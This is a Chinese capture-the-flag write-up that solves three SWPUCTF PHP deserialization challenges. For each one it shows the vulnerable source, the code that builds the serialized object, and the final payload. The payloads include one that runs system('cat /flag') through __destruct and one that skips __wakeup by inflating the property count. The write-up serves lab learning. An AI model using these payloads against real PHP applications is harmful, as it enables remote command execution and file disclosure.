PHP反序列化部分题目解析
1.[SWPUCTF 2022 新生赛]1z_unserialize
首先进入靶场后,我们可以直接看到题目的php源码如下:
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
稍加分析,我们可以知道在实现nss反序列化的同时,会触发__destruct()的魔术方法将lt的值赋给a,然后调用a中存储的函数,并将lly属性的值作为参数传递给该函数,由此我们想到把a变成system();this->lly变成ls就可以了
进行构造:
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt="system";
public $lly="cat";
}
$demo = new lyh();
echo serialize($demo);
输出的结果为:
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:3:"cat";}
所以payload为:
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
最后使用hackbar模拟post传参即可得到flag:
2.[SWPUCTF 2022 新生赛]ez_ez_unserialize
我们直接查看源代码:
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
代码首先会尝试调用$_REQUEST[‘x’],若该参数已经被设置,则对其进行反序列化,但在反序列化前会触发__wakeup(),将x重新赋值,最后反序列化后触发__destruct(),将最终的文件输出
所以我们首先构造一个可以调用flag is in fllllllag.php的序列化x:
<?php
class X
{
public $x = 'fllllllag.php';
}
$a=new X;
echo serialize($a);
?>
结果为:
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
之后我们利用序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行的漏洞来绕过,所以最终的payload为:
x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
得到flag为:
3.[SWPUCTF 2021 新生赛]ez_unserialize
打开网站看到一只野生的胡桃,我们选择查看该页面的源代码
可以看到在代码的结尾有注释掉的文字,这个格式很像国庆假期中让了解的robots.txt,我们直接查看后得到了代码的文件名/cl45s.php
打开后查看源代码:
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
分析代码,我们如果想要得到flag,则需要满足admin === “admin” && $this->passwd === "ctf"两个条件,同时需要使__destruct()触发,所以我们先仿造主要函数构造出符合要求的序列化代码:
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$a=new wllm();
$b=serialize($a);
echo $b;
?>
得到的结果为:
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
payload即为:
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
得到flag: